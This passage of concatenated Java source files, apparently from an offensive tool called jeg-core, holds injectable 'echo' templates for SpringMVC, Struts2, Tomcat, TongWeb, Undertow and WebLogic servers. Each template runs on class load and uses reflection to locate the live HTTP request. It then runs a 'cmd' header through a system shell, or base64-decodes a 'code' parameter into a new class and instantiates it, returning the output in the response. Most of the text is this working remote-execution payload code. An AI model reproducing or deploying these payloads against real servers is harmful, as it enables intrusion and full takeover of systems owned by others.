{ } } private String exec(String cmd) { try { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String execRes = ""; while (s.hasNext()) { execRes += s.next(); } return execRes; } catch (Exception e) { return e.getMessage(); } } private Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); } private Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); Method method = null; Class tempClass = clazz; while (method == null && tempClass != null) { try { if (paramClazz == null) { // Get all declared methods of the class Method[] methods = tempClass.getDeclaredMethods(); for (int i = 0; i < methods.length; i++) { if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { method = methods[i]; break; } } } else { method = tempClass.getDeclaredMethod(methodName, paramClazz); } } catch (NoSuchMethodException e) { tempClass = tempClass.getSuperclass(); } } if (method == null) { throw new NoSuchMethodException(methodName); } method.setAccessible(true); if (obj instanceof Class) { try { return method.invoke(null, param); } catch (IllegalAccessException e) { throw new RuntimeException(e.getMessage()); } } else { try { return method.invoke(obj, param); } catch (IllegalAccessException e) { throw new RuntimeException(e.getMessage()); } } } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/springmvc/SpringMVCCodeExecTpl.java ================================================ package jeg.core.template.springmvc; import java.io.Writer; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class SpringMVCCodeExecTpl { static { try { new SpringMVCCodeExecTpl(); } catch (Exception e) { } } private String getReqParamName() { return "code"; } public SpringMVCCodeExecTpl() throws Exception { run(); } private void run() { ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); try { Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes"); Object request = invokeMethod(requestAttributes, "getRequest"); Object response = invokeMethod(requestAttributes, "getResponse"); String code = (String)invokeMethod(request, "getParameter",new Class[]{String.class},new Object[]{getReqParamName()}); if (code != null && !code.isEmpty()) { Writer writer = (Writer) invokeMethod(response,"getWriter"); writer.write(exec(code)); writer.flush(); writer.close(); } } catch (Exception e) { } } private String exec(String var2) { try { byte[] clazzByte = base64Decode(var2); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length); return clazz.newInstance().toString(); } catch (Exception e) { return e.getMessage(); } } private byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception var4) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } private Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); } private Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); Method method = null; Class tempClass = clazz; while (method == null && tempClass != null) { try { if (paramClazz == null) { // Get all declared methods of the class Method[] methods = tempClass.getDeclaredMethods(); for (int i = 0; i < methods.length; i++) { if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { method = methods[i]; break; } } } else { method = tempClass.getDeclaredMethod(methodName, paramClazz); } } catch (NoSuchMethodException e) { tempClass = tempClass.getSuperclass(); } } if (method == null) { throw new NoSuchMethodException(methodName); } method.setAccessible(true); if (obj instanceof Class) { try { return method.invoke(null, param); } catch (IllegalAccessException e) { throw new RuntimeException(e.getMessage()); } } else { try { return method.invoke(obj, param); } catch (IllegalAccessException e) { throw new RuntimeException(e.getMessage()); } } } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/struts2/Struts2CmdExecTpl.java ================================================ package jeg.core.template.struts2; import java.io.InputStream; import java.io.Writer; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.Scanner; public class Struts2CmdExecTpl { static { try { new Struts2CmdExecTpl(); } catch (Exception e) { } } private String getReqHeaderName() { return "cmd"; } public Struts2CmdExecTpl() throws Exception { run(); } public void run(){ try { ClassLoader loader = Thread.currentThread().getContextClassLoader(); Class actionContextClass = Class.forName("com.opensymphony.xwork2.ActionContext", false, loader); java.lang.reflect.Field filed = actionContextClass.getDeclaredField("actionContext"); filed.setAccessible(true); ThreadLocal actionContext = (ThreadLocal) filed.get(null); Object con = actionContext.get(); Object context = invokeMethod(con,"getContext"); Object request = invokeMethod(context,"get", new Class[]{String.class},new Object[]{"com.opensymphony.xwork2.dispatcher.HttpServletRequest"}); Object response = invokeMethod(context,"get", new Class[]{String.class},new Object[]{"com.opensymphony.xwork2.dispatcher.HttpServletResponse"}); String cmd = (String) invokeMethod(request,"getHeader",new Class[]{String.class},new Object[]{getReqHeaderName()}); if (cmd != null && !cmd.isEmpty()) { Writer writer = (Writer) invokeMethod(response, "getWriter"); writer.write(exec(cmd)); writer.flush(); writer.close(); } }catch (Exception ignored){ } } public String exec(String cmd){ try { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String execRes = ""; while (s.hasNext()) { execRes += s.next(); } return execRes; }catch (Exception e){ return e.getMessage(); } } private Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); } private Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); Method method = null; Class tempClass = clazz; while (method == null && tempClass != null) { try { if (paramClazz == null) { // Get all declared methods of the class Method[] methods = tempClass.getDeclaredMethods(); for (int i = 0; i < methods.length; i++) { if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { method = methods[i]; break; } } } else { method = tempClass.getDeclaredMethod(methodName, paramClazz); } } catch (NoSuchMethodException e) { tempClass = tempClass.getSuperclass(); } } if (method == null) { throw new NoSuchMethodException(methodName); } method.setAccessible(true); if (obj instanceof Class) { try { return method.invoke(null, param); } catch (IllegalAccessException e) { throw new RuntimeException(e.getMessage()); } } else { try { return method.invoke(obj, param); } catch (IllegalAccessException e) { throw new RuntimeException(e.getMessage()); } } } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/struts2/Struts2CodeExecTpl.java ================================================ package jeg.core.template.struts2; import java.io.Writer; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class Struts2CodeExecTpl { static { try { new Struts2CodeExecTpl(); } catch (Exception e) { } } private String getReqParamName() { return "code"; } public Struts2CodeExecTpl() throws Exception{ run(); } public void run() { try { ClassLoader loader = Thread.currentThread().getContextClassLoader(); Class actionContextClass = Class.forName("com.opensymphony.xwork2.ActionContext", false, loader); java.lang.reflect.Field filed = actionContextClass.getDeclaredField("actionContext"); filed.setAccessible(true); ThreadLocal actionContext = (ThreadLocal) filed.get(null); Object con = actionContext.get(); Object context = invokeMethod(con, "getContext"); Object request = invokeMethod(context, "get", new Class[]{String.class}, new Object[]{"com.opensymphony.xwork2.dispatcher.HttpServletRequest"}); Object response = invokeMethod(context, "get", new Class[]{String.class}, new Object[]{"com.opensymphony.xwork2.dispatcher.HttpServletResponse"}); String code = (String) invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{getReqParamName()}); if (code != null && !code.isEmpty()) { Writer writer = (Writer) invokeMethod(response, "getWriter"); writer.write(exec(code)); writer.flush(); writer.close(); } } catch (Exception ignored) { } } private String exec(String var2) { try { byte[] clazzByte = base64Decode(var2); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length); return clazz.newInstance().toString(); } catch (Exception e) { return e.getMessage(); } } private byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception var4) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } private Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); } private synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); Method method = null; Class tempClass = clazz; while (method == null && tempClass != null) { try { if (paramClazz == null) { // Get all declared methods of the class Method[] methods = tempClass.getDeclaredMethods(); for (int i = 0; i < methods.length; i++) { if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { method = methods[i]; break; } } } else { method = tempClass.getDeclaredMethod(methodName, paramClazz); } } catch (NoSuchMethodException e) { tempClass = tempClass.getSuperclass(); } } if (method == null) { throw new NoSuchMethodException(methodName); } method.setAccessible(true); if (obj instanceof Class) { try { return method.invoke(null, param); } catch (IllegalAccessException e) { throw new RuntimeException(e.getMessage()); } } else { try { return method.invoke(obj, param); } catch (IllegalAccessException e) { throw new RuntimeException(e.getMessage()); } } } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/tomcat/TomcatCmdExecTpl.java ================================================ package jeg.core.template.tomcat; import java.io.InputStream; import java.io.Writer; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.Scanner; public class TomcatCmdExecTpl { static { try { new TomcatCmdExecTpl(); } catch (Exception e) { } } public TomcatCmdExecTpl() throws Exception{ run(); } // 传参:需要执行的命令 private String getReqHeaderName() { return "cmd"; } private void run() { try { Method var0 = Thread.class.getDeclaredMethod("getThreads", (Class[]) (new Class[0])); var0.setAccessible(true); Thread[] var1 = (Thread[]) ((Thread[]) var0.invoke((Object) null)); for (int var2 = 0; var2 < var1.length; ++var2) { if (var1[var2].getName().contains("http") && var1[var2].getName().contains("Acceptor")) { Field var3 = var1[var2].getClass().getDeclaredField("target"); var3.setAccessible(true); Object var4 = var3.get(var1[var2]); try { var3 = var4.getClass().getDeclaredField("endpoint"); } catch (NoSuchFieldException var15) { var3 = var4.getClass().getDeclaredField("this$0"); } var3.setAccessible(true); var4 = var3.get(var4); try { var3 = var4.getClass().getDeclaredField("handler"); } catch (NoSuchFieldException var14) { try { var3 = var4.getClass().getSuperclass().getDeclaredField("handler"); } catch (NoSuchFieldException var13) { var3 = var4.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); } } var3.setAccessible(true); var4 = var3.get(var4); try { var3 = var4.getClass().getDeclaredField("global"); } catch (NoSuchFieldException var12) { var3 = var4.getClass().getSuperclass().getDeclaredField("global"); } var3.setAccessible(true); var4 = var3.get(var4); var4.getClass().getClassLoader().loadClass("org.apache.coyote.RequestGroupInfo"); if (var4.getClass().getName().contains("org.apache.coyote.RequestGroupInfo")) { var3 = var4.getClass().getDeclaredField("processors"); var3.setAccessible(true); ArrayList var5 = (ArrayList) var3.get(var4); for (int var6 = 0; var6 < var5.size(); ++var6) { var3 = var5.get(var6).getClass().getDeclaredField("req"); var3.setAccessible(true); var4 = var3.get(var5.get(var6)).getClass().getDeclaredMethod("getNote", Integer.TYPE).invoke(var3.get(var5.get(var6)), 1); String var7; try { var7 = (String) var3.get(var5.get(var6)).getClass().getMethod("getHeader", new Class[]{String.class}).invoke(var3.get(var5.get(var6)), new Object[]{getReqHeaderName()}); if (var7 != null) { Object response = var4.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(var4, new Object[0]); Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]); writer.write(exec(var7)); writer.flush(); writer.close(); break; } } catch (Exception ignored) { } } } } } } catch (Throwable ignored) { } } // 执行模块 private String exec(String cmd) { try { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String execRes = ""; while (s.hasNext()) { execRes += s.next(); } return execRes; } catch (Exception e) { return e.getMessage(); } } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/tomcat/TomcatCodeExecTpl.java ================================================ package jeg.core.template.tomcat; import java.io.Writer; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; public class TomcatCodeExecTpl { static { new TomcatCodeExecTpl(); } public TomcatCodeExecTpl(){ run(); } private String getReqParamName() { return "code"; } private void run() { try { Method var0 = Thread.class.getDeclaredMethod("getThreads", (Class[]) (new Class[0])); var0.setAccessible(true); Thread[] var1 = (Thread[]) ((Thread[]) var0.invoke((Object) null)); for (int var2 = 0; var2 < var1.length; ++var2) { if (var1[var2].getName().contains("http") && var1[var2].getName().contains("Acceptor")) { Field var3 = var1[var2].getClass().getDeclaredField("target"); var3.setAccessible(true); Object var4 = var3.get(var1[var2]); try { var3 = var4.getClass().getDeclaredField("endpoint"); } catch (NoSuchFieldException var15) { var3 = var4.getClass().getDeclaredField("this$0"); } var3.setAccessible(true); var4 = var3.get(var4); try { var3 = var4.getClass().getDeclaredField("handler"); } catch (NoSuchFieldException var14) { try { var3 = var4.getClass().getSuperclass().getDeclaredField("handler"); } catch (NoSuchFieldException var13) { var3 = var4.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); } } var3.setAccessible(true); var4 = var3.get(var4); try { var3 = var4.getClass().getDeclaredField("global"); } catch (NoSuchFieldException var12) { var3 = var4.getClass().getSuperclass().getDeclaredField("global"); } var3.setAccessible(true); var4 = var3.get(var4); var4.getClass().getClassLoader().loadClass("org.apache.coyote.RequestGroupInfo"); if (var4.getClass().getName().contains("org.apache.coyote.RequestGroupInfo")) { var3 = var4.getClass().getDeclaredField("processors"); var3.setAccessible(true); ArrayList var5 = (ArrayList) var3.get(var4); for (int var6 = 0; var6 < var5.size(); ++var6) { var3 = var5.get(var6).getClass().getDeclaredField("req"); var3.setAccessible(true); var4 = var3.get(var5.get(var6)).getClass().getDeclaredMethod("getNote", Integer.TYPE).invoke(var3.get(var5.get(var6)), 1); String var8; try { // 从 request body 获取参数 var8 = (String) var4.getClass().getDeclaredMethod("getParameter", String.class).invoke(var4, getReqParamName()); if (var8 != null) { String var10 = exec(var8); Object response = var4.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(var4); Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]); writer.write(var10); writer.flush(); writer.close(); break; } } catch (Exception ignored) { } } } } } } catch (Throwable var16) { } } private String exec(String var2) { try { byte[] clazzByte = base64Decode(var2); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length); return clazz.newInstance().toString(); } catch (Exception e) { return e.getMessage(); } } private byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception var4) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/tongweb/TongWebCmdExecTpl.java ================================================ package jeg.core.template.tongweb; import java.io.InputStream; import java.io.Writer; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.ArrayList; import java.util.List; import java.util.Scanner; import java.util.Set; public class TongWebCmdExecTpl { static { try { new TongWebCmdExecTpl(); } catch (Exception e) { } } private static String getReqHeaderName() { return "cmd"; } public TongWebCmdExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException { run(); } public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Set threadSet = Thread.getAllStackTraces().keySet(); List taskThreadList = new ArrayList(); for (Thread thread : threadSet) { if (thread.getClass().getName().contains("tongweb.web.util.threads.TaskThread")) { // 将目标对象添加到列表中 taskThreadList.add(thread); } } List tables = new ArrayList(); for (Thread thread : taskThreadList) { try { Field threadLocalsField = Thread.class.getDeclaredField("threadLocals"); threadLocalsField.setAccessible(true); Object localMap = threadLocalsField.get(thread); Class threadLocalMapClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); Field tableField = threadLocalMapClass.getDeclaredField("table"); tableField.setAccessible(true); Object table = tableField.get(localMap); tables.add(table); } catch (Exception e) { continue; } } List values = new ArrayList(); for (Object table : tables) { // 遍历 table 中的项 try { if (table != null && table.getClass().isArray()) { int length = Array.getLength(table); for (int i = 0; i < length; i++) { Object entry = Array.get(table, i); if (entry != null) { // 获取 entry 的 value 字段 try { Field valueField = entry.getClass().getDeclaredField("value"); valueField.setAccessible(true); Object value = valueField.get(entry); values.add(value); } catch (Exception e) { } } } } } catch (Exception e) { } } for (Object value : values) { if (value != null && value.getClass().getName().equals("com.tongweb.catalina.connector.ThorRequest")) { try { // 从 request header 获取参数 String cmd = (String) value.getClass().getSuperclass().getDeclaredMethod("getHeader", new Class[]{String.class}).invoke(value, new Object[]{getReqHeaderName()}); if (cmd != null) { Object response = value.getClass().getSuperclass().getDeclaredMethod("getResponse", new Class[0]).invoke(value, new Object[0]); Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]); writer.write(executeCommand(cmd)); writer.flush(); writer.close(); break; } } catch (Exception ignored) { } } } } // 执行模块 public static String executeCommand(String cmd) { try { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String execRes = ""; while (s.hasNext()) { execRes += s.next(); } if (execRes.isEmpty()) { return String.format("The code executes successfully, but command:%s fails. The command may not exist!\n", cmd); } return execRes; } catch (Exception e) { return String.format("The code executes successfully, but command:%s fails. The command may not exist!\n Error info: %s", cmd, e.getMessage()); } } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/tongweb/TongWebCodeExecTpl.java ================================================ package jeg.core.template.tongweb; import jeg.core.template.inforsuite.InforSuiteCodeExecTpl; import java.io.Writer; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.List; import java.util.Set; public class TongWebCodeExecTpl { static { try { new TongWebCodeExecTpl(); } catch (Exception e) { } } private static String getReqParamName() { return "code"; } public TongWebCodeExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException { run(); } public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Set threadSet = Thread.getAllStackTraces().keySet(); List taskThreadList = new ArrayList(); for (Thread thread : threadSet) { if (thread.getClass().getName().contains("tongweb.web.util.threads.TaskThread")) { // 将目标对象添加到列表中 taskThreadList.add(thread); } } List tables = new ArrayList(); for (Thread thread : taskThreadList) { try { Field threadLocalsField = Thread.class.getDeclaredField("threadLocals"); threadLocalsField.setAccessible(true); Object localMap = threadLocalsField.get(thread); Class threadLocalMapClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); Field tableField = threadLocalMapClass.getDeclaredField("table"); tableField.setAccessible(true); Object table = tableField.get(localMap); tables.add(table); } catch (Exception e) { continue; } } List values = new ArrayList(); for (Object table : tables) { // 遍历 table 中的项 try { if (table != null && table.getClass().isArray()) { int length = Array.getLength(table); for (int i = 0; i < length; i++) { Object entry = Array.get(table, i); if (entry != null) { // 获取 entry 的 value 字段 try { Field valueField = entry.getClass().getDeclaredField("value"); valueField.setAccessible(true); Object value = valueField.get(entry); values.add(value); } catch (Exception e) { } } } } } catch (Exception e) { } } for (Object value : values) { if (value != null && value.getClass().getName().equals("com.tongweb.catalina.connector.ThorRequest")) { try { // 从 request body 获取参数 String code = (String) value.getClass().getSuperclass().getDeclaredMethod("getParameter", String.class).invoke(value, getReqParamName()); if (code != null) { Object response = value.getClass().getSuperclass().getDeclaredMethod("getResponse", new Class[0]).invoke(value, new Object[0]); Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]); writer.write(defineClazz(code)); writer.flush(); writer.close(); break; } } catch (Exception ignored) { } } } } private static String defineClazz(String var2) { try { byte[] clazzByte = base64Decode(var2); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length); return clazz.newInstance().toString(); } catch (Exception e) { return e.getMessage(); } } private static byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception var4) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/undertow/UndertowCmdExecTpl.java ================================================ package jeg.core.template.undertow; import java.io.InputStream; import java.io.PrintWriter; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.Scanner; public class UndertowCmdExecTpl { static { new UndertowCmdExecTpl(); } private String getReqHeaderName() { return "cmd"; } public UndertowCmdExecTpl(){ run(); } private void run(){ try { Thread thread = Thread.currentThread(); Object threadLocals = getFV(thread,"threadLocals"); Object table = getFV(threadLocals,"table"); for (int i = 0; i < Array.getLength(table); i++) { Object entry = Array.get(table, i); if (entry == null) continue; Object value = getFV(entry,"value"); if (value != null && value.getClass().getName().contains("ServletRequestContext")) { Object request = getFV(value,"servletRequest"); String cmd = (String) invokeMethod(request,"getHeader",new Class[]{String.class},new Object[]{getReqHeaderName()}); Object response = getFV(value,"servletResponse"); PrintWriter writer = (PrintWriter) invokeMethod(response,"getWriter",new Class[0],new Object[0]); writer.write(exec(cmd)); writer.flush(); writer.close(); } } }catch (Exception e){ } } private String exec(String cmd) { try { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String execRes = ""; while (s.hasNext()) { execRes += s.next(); } return execRes; } catch (Exception e) { return e.getMessage(); } } private synchronized Object getFV(final Object o, final String s) throws Exception { Field declaredField = null; Class clazz = o.getClass(); while (clazz != Object.class) { try { declaredField = clazz.getDeclaredField(s); break; } catch (NoSuchFieldException ex) { clazz = clazz.getSuperclass(); } } if (declaredField == null) { throw new NoSuchFieldException(s); } declaredField.setAccessible(true); return declaredField.get(o); } private synchronized Object invokeMethod(final Object obj,final String methodName,Class[] paramClazz,Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Method method = null; Class clazz = obj.getClass(); while (clazz != Object.class){ try { method = clazz.getDeclaredMethod(methodName,paramClazz); break; } catch (NoSuchMethodException e) { clazz = clazz.getSuperclass(); } } if (method == null) { throw new NoSuchMethodException(methodName); } method.setAccessible(true); return method.invoke(obj,param); } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/undertow/UndertowCodeExecTpl.java ================================================ package jeg.core.template.undertow; import java.io.PrintWriter; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class UndertowCodeExecTpl { static { new UndertowCodeExecTpl(); } private static String getReqParamName() { return "code"; } public UndertowCodeExecTpl() { run(); } private void run() { try { Thread thread = Thread.currentThread(); Object threadLocals = getFV(thread, "threadLocals"); Object table = getFV(threadLocals, "table"); for (int i = 0; i < Array.getLength(table); i++) { Object entry = Array.get(table, i); if (entry == null) continue; Object value = getFV(entry, "value"); if (value != null && value.getClass().getName().contains("ServletRequestContext")) { Object request = getFV(value, "servletRequest"); String code = (String) invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{getReqParamName()}); if (code != null && code != "") { Object response = getFV(value, "servletResponse"); PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", new Class[0], new Object[0]); writer.write(exec(code)); writer.flush(); writer.close(); } } } } catch (Exception e) { } } private synchronized Object getFV(final Object o, final String s) throws Exception { Field declaredField = null; Class clazz = o.getClass(); while (clazz != Object.class) { try { declaredField = clazz.getDeclaredField(s); break; } catch (NoSuchFieldException ex) { clazz = clazz.getSuperclass(); } } if (declaredField == null) { throw new NoSuchFieldException(s); } declaredField.setAccessible(true); return declaredField.get(o); } private synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Method method = null; Class clazz = obj.getClass(); while (clazz != Object.class) { try { method = clazz.getDeclaredMethod(methodName, paramClazz); break; } catch (NoSuchMethodException e) { clazz = clazz.getSuperclass(); } } if (method == null) { throw new NoSuchMethodException(methodName); } method.setAccessible(true); return method.invoke(obj, param); } private String exec(String var2) { try { byte[] clazzByte = base64Decode(var2); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length); return clazz.newInstance().toString(); } catch (Exception e) { return e.getMessage(); } } private byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception var4) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke((Object) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } } ================================================ FILE: jeg-core/src/main/java/jeg/core/template/weblogic/WebLogicCmdExecTpl.java ================================================ package jeg.core.template.weblogic; import jeg.core.template.undertow.UndertowCmdExecTpl; import java.io.InputStream; import java.io.PrintWriter; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.Scanner; /** * test in weblogic 10.3.6.0/12.1.3.0/12.2.1.3.0 */ public class WebLogicCmdExecTpl { static { new WebLogicCmdExecTpl(); } // 传参:需要执行的命令 private String getReqHeaderName() { return "cmd"; } public WebLogicCmdExecTpl() { run(); } private void run(){ String command = null; Thread thread = Thread.currentThread(); Object target = null; PrintWriter writer = null; try { target = invokeMethod(thread, "getCurrentWork", new Class[0], new Object[0]); command = (String) invokeMethod(target, "getHeader", new Class[]{String.class}, new Object[]{getReqHeaderName()}); Object response = invokeMethod(target, "getResponse", new Class[0], new Object[0]); writer = (PrintWriter) invokeMethod(response, "getWriter", new Class[0], new Object[0]); } catch (Exception e) { try { Object connectionHandler = getFV(target, "connectionHandler"); Object request = invokeMethod(connectionHandler, "getServletRequest", new Class[0], new Object[0]); if (command == null) { command = (String) invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{getReqHeaderName()}); } Object response = invokeMethod(connectionHandler, "getServletResponse", new Class[0], new Object[0]); writer = (PrintWriter) invokeMethod(response, "getWriter", new Class[0], new Object[0]); } catch (Exception ignored) { } } // 执行命令 String execRes = exec(command); // 回显执行结果 writer.write(execRes); writer.flush(); writer.close(); } // 执行模块 public String exec(String cmd){ try { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String execRes = ""; while (s.hasNext()) { execRes += s.next(); } return execRes; }catch (Exception e){ return e.getMessage(); } } private synchronized Object getFV(final Object o, final String s) throws Exception { Field declaredField = null; Class clazz = o.getClass(); while (clazz != Object.class) { try { declaredField = clazz.getDeclaredField(s); break; } catch (NoSuchFieldException ex) { clazz = clazz.getSuperclass(); } } if (declaredField == null) { throw new NoSuchFieldException(s); } declaredField.setAccessible(true); return declaredField.get(o); } private synchronized Object 